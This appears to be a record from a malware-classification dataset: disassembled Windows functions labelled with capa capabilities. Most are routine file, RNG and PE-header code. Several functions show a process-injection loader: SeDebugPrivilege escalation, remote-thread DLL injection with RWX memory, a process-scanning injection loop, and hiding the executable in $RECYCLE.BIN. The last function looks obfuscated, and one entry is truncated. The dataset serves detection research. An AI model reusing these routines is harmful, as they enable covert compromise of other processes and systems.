joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140053590
Capabilities:
Read file on windows

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x60
mov rdi, rdx
cmp qword [rdx], 0
jne 0x14005369f
mov rsi, rcx
mov rbx, qword [rdi + 0x18]
mov rax, qword [rbx + 8]
test rax, rax
jne 0x1400535c8
mov rdx, qword [rbx + 0x10]
lea rax, [rdx + 0xf]
cmp rax, 0xf
jbe 0x140053662
xor eax, eax
mov rdx, qword [rbx + 0x10]
cmp rax, rdx
je 0x140053681
sub rax, rdx
add rdx, qword [rbx]
mov r8, qword [rdi + 0x10]
mov ecx, 0xffffffff
cmp rax, rcx
cmovae rax, rcx
mov dword [rsp + 0x30], 0
mov rcx, qword [rdi + 0x20]
mov qword [rsp + 0x20], r8
lea r9, [rsp + 0x30]
mov r8d, eax
call qword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
je 0x14005361e
mov eax, dword [rsp + 0x30]
mov ecx, 2
test rax, rax
jne 0x14005363b
jmp 0x140053630
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x3e5
je 0x140053636
cmp eax, 0x6d
jne 0x140053652
mov byte [rsi + 1], 0
jmp 0x140053646
mov ecx, 1
mov qword [rdi], rcx
mov qword [rdi + 8], rax
mov byte [rsi + 1], 1
xor eax, eax
mov byte [rsi], al
add rsp, 0x60
pop rbx
pop rdi
pop rsi
ret
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov al, 1
jmp 0x140053648
mov r8d, 0x10
mov rcx, rbx
call fcn.140069b10
mov rax, qword [rbx + 8]
mov rdx, qword [rbx + 0x10]
cmp rax, rdx
jne 0x1400535d5
mov r8d, 1
mov rcx, rbx
mov rdx, rax
call fcn.140069b10
mov rax, qword [rbx + 8]
mov rdx, qword [rbx + 0x10]
jmp 0x1400535d5
mov qword [rsp + 0x30], 0
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.140069a00
ud2
Function at 0x140058220
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rsi
push rdi
sub rsp, 0x88

Function at 0x140059380
Capabilities:
Generate random numbers via rtlgenrandom

Disassembly:
push rbp
sub rsp, 0x80
lea rbp, [rsp + 0x80]
mov qword [rbp - 8], 0xfffffffffffffffe
xorps xmm0, xmm0
movaps xmmword [rbp - 0x20], xmm0
lea rcx, [rbp - 0x20]
mov edx, 0x10
call qword [sym.imp.advapi32.dll_SystemFunction036]
test al, al
je 0x1400593c3
mov rax, qword [rbp - 0x20]
mov rdx, qword [rbp - 0x18]
add rsp, 0x80
pop rbp
ret
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp - 0x10], rax
lea rax, [rbp - 0x10]
mov qword [rbp - 0x30], rax
lea rax, [fcn.140046d20]
mov qword [rbp - 0x28], rax
lea rax, str.fallback_RNG_broken:
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], 1
mov qword [rbp - 0x40], 0
lea rax, [rbp - 0x30]
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 1
lea rdx, str.library_std_src_syswindows_rand.rs
lea rcx, [rbp - 0x60]
call fcn.14006a6b0
ud2
Function at 0x140067700
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
test r8, r8
je 0x14006777a
mov rax, rdx
mov rdx, qword [rsp + 0x70]
mov esi, ecx
shr esi, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov rbx, rax
movzx edi, byte [rax + 1]
add rax, 2
lea r10, [r11 + rdi]
cmp byte [rbx], sil
jne 0x140067770
cmp r11, r10
ja 0x140067813
cmp r10, rdx
ja 0x140067827
add r11, r9
xor ebx, ebx
nop dword [rax]
cmp rdi, rbx
je 0x140067772
lea r14, [rbx + 1]
cmp byte [r11 + rbx], cl
mov rbx, r14
jne 0x140067750
jmp 0x1400677e7
ja 0x14006777a
mov r11, r10
cmp rax, r8
jne 0x140067722
mov rdx, qword [rsp + 0x80]
test rdx, rdx
je 0x1400677eb
mov r8, qword [rsp + 0x78]
add rdx, r8
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r10, [r8 + 1]
movzx r9d, byte [r8]
test r9b, r9b
js 0x1400677c0
mov r8, r10
sub ecx, r9d
jns 0x1400677de
jmp 0x1400677ed
cmp r10, rdx
je 0x1400677f9
movzx r10d, byte [r8 + 1]
add r8, 2
and r9d, 0x7f
shl r9d, 8
or r9d, r10d
sub ecx, r9d
js 0x1400677ed
xor al, 1
cmp r8, rdx
jne 0x1400677a0
jmp 0x1400677ed
xor eax, eax
jmp 0x1400677ed
mov al, 1
and al, 1
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.called__Option::unwrap____on_a__None__valuefrom_str_radix_int:_must_lie_in_the_range___2__36_____found
lea r8, str.librarycore_srcunicodeprintable.rs
mov edx, 0x2b
call fcn.14006a760
ud2
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.14006ad30
ud2
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.14006acb0
ud2

Function at 0x140069468
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleHandleW]
test rax, rax
je 0x1400694b2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400694b2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400694b2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400694b2
cmp dword [rcx + 0x84], 0xe
jbe 0x1400694b2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400694b4
xor al, al
add rsp, 0x28
ret
Function at 0x1400033e0
Capabilities:
Acquire debug privileges

Disassembly:
sub rsp, 0x68
mov rax, qword [0x14003a058]
xor rax, rsp
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x30]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x140003417
xor eax, eax
jmp 0x1400034a9
lea r8, [rsp + 0x38]
lea rdx, str.SeDebugPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
jne 0x140003433
xor eax, eax
jmp 0x1400034a9
mov dword [rsp + 0x40], 1
mov eax, 0xc
imul rax, rax, 0
mov rcx, qword [rsp + 0x38]
mov qword [rsp + rax + 0x44], rcx
mov eax, 0xc
imul rax, rax, 0
mov dword [rsp + rax + 0x4c], 2
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0x10
lea r8, [rsp + 0x40]
xor edx, edx
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
jne 0x140003491
xor eax, eax
jmp 0x1400034a9
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
jne 0x1400034a4
xor eax, eax
jmp 0x1400034a9
mov eax, 1
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.14000a470
add rsp, 0x68
ret
Function at 0x1400034c0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x88
mov dword [rsp + 0x54], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x48], 0
mov r8d, dword [rsp + 0x90]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x14000351f
jmp 0x140003640
mov rax, qword [rsp + 0x98]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x58], 0xffffffffffffffff
inc qword [rsp + 0x58]
mov rax, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
cmp byte [rax + rcx], 0
jne 0x140003535
mov rax, qword [rsp + 0x58]
inc rax
mov dword [rsp + 0x50], eax
movsxd rax, dword [rsp + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8, rax
xor edx, edx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jne 0x14000358b
jmp 0x140003640
movsxd rax, dword [rsp + 0x50]
mov qword [rsp + 0x20], 0
mov r9, rax
mov r8, qword [rsp + 0x98]
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400035bd
jmp 0x140003640
lea rcx, [0x140035450]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [0x140035440]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0
jne 0x1400035e9
jmp 0x140003640
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x68]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x70], rax
cmp qword [rsp + 0x70], 0
jne 0x140003628
jmp 0x140003640
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x54], 1
cmp qword [rsp + 0x48], 0
je 0x140003661
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
cmp qword [rsp + 0x60], 0
je 0x140003674
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rsp + 0x40], 0
je 0x140003687
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x54]
add rsp, 0x88
ret
Function at 0x1400036a0
Capabilities:
Enumerate process modules
Enumerate processes

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x3c8
mov rax, qword [0x14003a058]
xor rax, rsp
mov qword [rsp + 0x3b0], rax
mov qword [rsp + 0x30], 0
mov edx, 0x5c
mov rcx, qword [rsp + 0x3d0]
call fcn.1400010c0
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
xor edx, edx
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x40], 0x130
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_Process32First]
mov qword [rsp + 0x28], 0xffffffffffffffff
mov dword [rsp + 0x170], 0x238
mov qword [rsp + 0x28], 0xffffffffffffffff
mov byte [rsp + 0x20], 0
lea rcx, [rsp + 0x40]
call fcn.1400033a0
movzx eax, al
test eax, eax
je 0x1400037da
mov edx, dword [rsp + 0x48]
mov ecx, 8
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov qword [rsp + 0x28], rax
lea rdx, [rsp + 0x170]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_Module32First]
mov dword [rsp + 0x24], eax
cmp dword [rsp + 0x24], 0
je 0x1400037b2
mov rdx, qword [rsp + 0x38]
lea rcx, [rsp + 0x1a0]
call fcn.140011634
test eax, eax
jne 0x140003799
mov byte [rsp + 0x20], 1
lea rdx, [rsp + 0x170]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_Module32Next]
mov dword [rsp + 0x24], eax
jmp 0x140003777
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x1400037cf
xor r8d, r8d
mov rdx, qword [rsp + 0x3d0]
mov ecx, dword [rsp + 0x48]
call fcn.1400034c0
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x140003715
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov rcx, qword [rsp + 0x3b0]
xor rcx, rsp
call fcn.14000a470
add rsp, 0x3c8
ret
Function at 0x140003820
Capabilities:
Get file attributes
Move file
Set file attributes

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x160
mov rax, qword [0x14003a058]
xor rax, rsp
mov qword [rsp + 0x150], rax
lea rax, [rsp + 0x40]
mov rdi, rax
xor eax, eax
mov ecx, 0x104
rep stosb byte [rdi], al
lea rax, [rsp + 0x2c]
mov rdi, rax
xor eax, eax
mov ecx, 5
rep stosb byte [rdi], al
mov r9d, 3
mov r8, qword [rsp + 0x170]
mov edx, 0x104
lea rcx, [rsp + 0x40]
call fcn.140002f40
lea r8, str._RECYCLE.BIN_
mov edx, 0x104
lea rcx, [rsp + 0x40]
call fcn.140002fe0
mov dword [rsp + 0x24], 0
jmp 0x1400038a8
mov eax, dword [rsp + 0x24]
inc eax
mov dword [rsp + 0x24], eax
cmp dword [rsp + 0x24], 4
jge 0x1400038d5
call fcn.140010ef0
cdq
mov ecx, 0x1a
idiv ecx
mov eax, edx
add eax, 0x61
mov byte [rsp + 0x20], al
movsxd rax, dword [rsp + 0x24]
movzx ecx, byte [rsp + 0x20]
mov byte [rsp + rax + 0x2c], cl
jmp 0x14000389e
lea r8, [rsp + 0x2c]
mov edx, 0x104
lea rcx, [rsp + 0x40]
call fcn.140002fe0
lea r8, str..dat
mov edx, 0x104
lea rcx, [rsp + 0x40]
call fcn.140002fe0
mov r8d, 1
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x170]
call qword [sym.imp.KERNEL32.dll_MoveFileExA]
mov r8d, 4
xor edx, edx
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_MoveFileExA]
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x28]
and eax, 2
test eax, eax
jne 0x140003959
mov eax, dword [rsp + 0x28]
or eax, 2
mov edx, eax
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.14000a470
add rsp, 0x160
pop rdi
ret

Function at 0x140003980
Capabilities:
Check mutex on windows

Disassembly:
sub rsp, 0x38
lea r8, str.GGG5B98_0E3D_4B3B_B724_57DB0D76F78F
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rsp + 0x28], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x1400039b4
mov dword [rsp + 0x24], 1
jmp 0x1400039bc
mov dword [rsp + 0x24], 0
movzx eax, byte [rsp + 0x24]
mov byte [rsp + 0x20], al
cmp qword [rsp + 0x28], 0
je 0x1400039d6
movzx eax, byte [rsp + 0x20]
test eax, eax
je 0x1400039f8
cmp qword [rsp + 0x28], 0
je 0x1400039f4
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, qword [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x1400039fa
xor al, al
add rsp, 0x38
ret
Function at 0x140003b60
Capabilities:
Get common file path

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x250
mov rax, qword [0x14003a058]
xor rax, rsp
mov qword [rsp + 0x240], rax
call fcn.140003980
movzx eax, al
test eax, eax
je 0x140003ba4
mov eax, 0xffffffff
jmp 0x140003c59
call fcn.1400033e0
lea rax, [rsp + 0x130]
mov rdi, rax
xor eax, eax
mov ecx, 0x104
rep stosb byte [rdi], al
mov r8d, 0x104
lea rdx, [rsp + 0x130]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rcx, [rsp + 0x130]
call fcn.140003820
lea rax, [rsp + 0x20]
mov rdi, rax
xor eax, eax
mov ecx, 0x104
rep stosb byte [rdi], al
mov edx, 0x104
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea r8, [0x140035404]
mov edx, 0x104
lea rcx, [rsp + 0x20]
call fcn.140002fe0
lea r8, [0x140035590]
mov edx, 0x104
lea rcx, [rsp + 0x20]
call fcn.140002fe0
lea rcx, str.64_start......
call fcn.140003a00
xor eax, eax
cmp eax, 1
je 0x140003c57
lea rcx, [rsp + 0x20]
call fcn.1400036a0
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140003c39
xor eax, eax
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.14000a470
add rsp, 0x250
pop rdi
ret
Function at 0x140004110
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x78
mov rax, qword [0x14003a058]
xor rax, rsp
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x90], 0
jg 0x140004144
xor eax, eax
jmp 0x14000433a
mov rax, qword [rsp + 0x80]
cmp qword [rax + 0x68], 0
je 0x140004175
mov r8, qword [rsp + 0x90]
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x80]
call fcn.140004ee0
jmp 0x14000433a
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x80]
call fcn.1400065b0
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jbe 0x140004223
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x50]
call fcn.140004350
mov rax, qword [rax]
mov qword [rsp + 0x20], rax
mov rcx, qword [rsp + 0x80]
call fcn.140006770
mov r8, qword [rsp + 0x20]
mov rdx, rax
mov rcx, qword [rsp + 0x88]
call fcn.140007450
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x88]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov edx, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x80]
call fcn.1400066d0
mov rax, qword [rsp + 0x80]
cmp qword [rax + 0x80], 0
je 0x14000432a
mov rcx, qword [rsp + 0x80]
call fcn.140005f80
mov qword [rsp + 0x48], 0xfff
cmp qword [rsp + 0x50], 0xfff
jbe 0x1400042d8
mov rax, qword [rsp + 0x80]
mov r9, qword [rax + 0x80]
mov r8d, 0xfff
mov edx, 1
mov rcx, qword [rsp + 0x88]
call fcn.140011b30
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x88]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x28], 0xfff
je 0x1400042d3
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x30]
sub rcx, rax
mov rax, rcx
jmp 0x14000433a
jmp 0x14000424f
cmp qword [rsp + 0x50], 0
jbe 0x14000432a
mov rax, qword [rsp + 0x80]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x50]
mov edx, 1
mov rcx, qword [rsp + 0x88]
call fcn.140011b30
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x30]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.14000a470
add rsp, 0x78
ret
Function at 0x140004990
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0xd8
mov rax, qword [0x14003a058]
xor rax, rsp
mov qword [rsp + 0xc0], rax
call fcn.140007370
mov dword [rsp + 0x50], eax
lea rdx, [rsp + 0xe8]
lea rcx, [rsp + 0x50]
call fcn.1400073d0
movzx eax, al
test eax, eax
je 0x1400049e6
lea rcx, [rsp + 0xe8]
call fcn.140007380
jmp 0x140004c5a
mov rcx, qword [rsp + 0xe0]
call fcn.140006750
test rax, rax
je 0x140004a52
mov rcx, qword [rsp + 0xe0]
call fcn.140006750
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0xe0]
call fcn.1400066a0
mov rcx, qword [rsp + 0x60]
cmp rcx, rax
jae 0x140004a52
lea rcx, [rsp + 0xe8]
call fcn.140004c80
mov byte [rsp + 0x40], al
mov rcx, qword [rsp + 0xe0]
call fcn.140006500
movzx ecx, byte [rsp + 0x40]
mov byte [rax], cl
mov eax, dword [rsp + 0xe8]
jmp 0x140004c5a
mov rax, qword [rsp + 0xe0]
cmp qword [rax + 0x80], 0
jne 0x140004a6e
call fcn.140007370
jmp 0x140004c5a
mov rcx, qword [rsp + 0xe0]
call fcn.140005f80
mov rax, qword [rsp + 0xe0]
cmp qword [rax + 0x68], 0
jne 0x140004ae4
mov rax, qword [rsp + 0xe0]
mov rax, qword [rax + 0x80]
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0xe8]
call fcn.140004c80
mov byte [rsp + 0x41], al
mov rdx, qword [rsp + 0x68]
movzx ecx, byte [rsp + 0x41]
call fcn.140003310
movzx eax, al
test eax, eax
je 0x140004ad2
mov eax, dword [rsp + 0xe8]
mov dword [rsp + 0x48], eax
jmp 0x140004adb
call fcn.140007370
mov dword [rsp + 0x48], eax
mov eax, dword [rsp + 0x48]
jmp 0x140004c5a
mov qword [rsp + 0x78], 0x20
lea rcx, [rsp + 0xe8]
call fcn.140004c80
mov byte [rsp + 0x90], al
mov rax, qword [rsp + 0xe0]
mov rax, qword [rax + 0x68]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0xb8]
lea rcx, [rsp + 0x91]
mov rdx, qword [rsp + 0xe0]
add rdx, 0x74
lea r8, [rsp + 0x80]
mov qword [rsp + 0x38], r8
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x98]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x88]
mov qword [rsp + 0x20], rax
mov r9, rcx
lea r8, [rsp + 0x90]
mov rcx, qword [rsp + 0x70]
call fcn.140005e00
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x44], 0
je 0x140004b91
cmp dword [rsp + 0x44], 1
je 0x140004b91
cmp dword [rsp + 0x44], 3
je 0x140004c16
jmp 0x140004c55
lea rax, [rsp + 0x98]
mov rcx, qword [rsp + 0x80]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jbe 0x140004be8
mov rax, qword [rsp + 0xe0]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x58]
mov edx, 1
lea rcx, [rsp + 0x98]
call fcn.140011368
cmp qword [rsp + 0x58], rax
je 0x140004be8
call fcn.140007370
jmp 0x140004c5a
mov rax, qword [rsp + 0xe0]
mov byte [rax + 0x71], 1
lea rax, [rsp + 0x90]
cmp qword [rsp + 0x88], rax
je 0x140004c0f
mov eax, dword [rsp + 0xe8]
jmp 0x140004c5a
call fcn.140007370
jmp 0x140004c5a
mov rax, qword [rsp + 0xe0]
mov rdx, qword [rax + 0x80]
movzx ecx, byte [rsp + 0x90]
call fcn.140003310
movzx eax, al
test eax, eax
je 0x140004c46
mov eax, dword [rsp + 0xe8]
mov dword [rsp + 0x4c], eax
jmp 0x140004c4f
call fcn.140007370
mov dword [rsp + 0x4c], eax
mov eax, dword [rsp + 0x4c]
jmp 0x140004c5a
call fcn.140007370
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.14000a470
add rsp, 0xd8
ret
Function at 0x140006030
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0xa8
mov rax, qword [0x14003a058]
xor rax, rsp
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0xb0]
cmp qword [rax + 0x68], 0
je 0x14000606d
mov rax, qword [rsp + 0xb0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x140006074
mov al, 1
jmp 0x1400061cc
mov rax, qword [rsp + 0xb0]
mov rax, qword [rax]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x50], rax
call fcn.140007370
mov dword [rsp + 0x38], eax
mov edx, dword [rsp + 0x38]
mov rcx, qword [rsp + 0xb0]
call qword [rsp + 0x50]
mov dword [rsp + 0x3c], eax
call fcn.140007370
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x3c]
lea rcx, [rsp + 0x40]
call fcn.1400073d0
movzx eax, al
test eax, eax
je 0x1400060cb
xor al, al
jmp 0x1400061cc
mov qword [rsp + 0x60], 0x20
mov rax, qword [rsp + 0xb0]
mov rax, qword [rax + 0x68]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x90]
mov rcx, qword [rsp + 0xb0]
add rcx, 0x74
lea rdx, [rsp + 0x68]
mov qword [rsp + 0x20], rdx
mov r9, rax
lea r8, [rsp + 0x70]
mov rdx, rcx
mov rcx, qword [rsp + 0x58]
call fcn.140007590
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
je 0x14000613a
cmp dword [rsp + 0x30], 1
je 0x140006146
cmp dword [rsp + 0x30], 3
je 0x1400061ba
jmp 0x1400061ca
mov rax, qword [rsp + 0xb0]
mov byte [rax + 0x71], 0
lea rax, [rsp + 0x70]
mov rcx, qword [rsp + 0x68]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jbe 0x140006191
mov rax, qword [rsp + 0xb0]
mov r9, qword [rax + 0x80]
mov r8, qword [rsp + 0x48]
mov edx, 1
lea rcx, [rsp + 0x70]
call fcn.140011368
cmp qword [rsp + 0x48], rax
je 0x140006191
xor al, al
jmp 0x1400061cc
mov rax, qword [rsp + 0xb0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x1400061ab
mov dword [rsp + 0x34], 1
jmp 0x1400061b3
mov dword [rsp + 0x34], 0
movzx eax, byte [rsp + 0x34]
jmp 0x1400061cc
mov rax, qword [rsp + 0xb0]
mov byte [rax + 0x71], 0
mov al, 1
jmp 0x1400061cc
xor al, al
mov rcx, qword [rsp + 0x98]
xor rcx, rsp
call fcn.14000a470
add rsp, 0xa8
ret

Function at 0x1400165f4
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140016420
Function at 0x18055d829
Capabilities:
Encode data using xor

Disassembly:
push qword [rsp + 0x58]
popfq
lea rsp, [rsp + 0x68]
call fcn.180bf097b
cwde
sbb bl, cl
push rdi
lea esi, [0x13880c4d6]
fst dword [rdi - 0x73]
xor eax, 0xb82aec94
pop rbp
sbb r13, r10
xchg edi, eax
loope 0x18055d83a
pushfq
sub ch, byte [rdi - 0x79]
out 0x97, eax
sub cl, byte [rdx + rcx + 0x39]
out dx, eax
sub al, byte [rcx]
and al, 1
invalid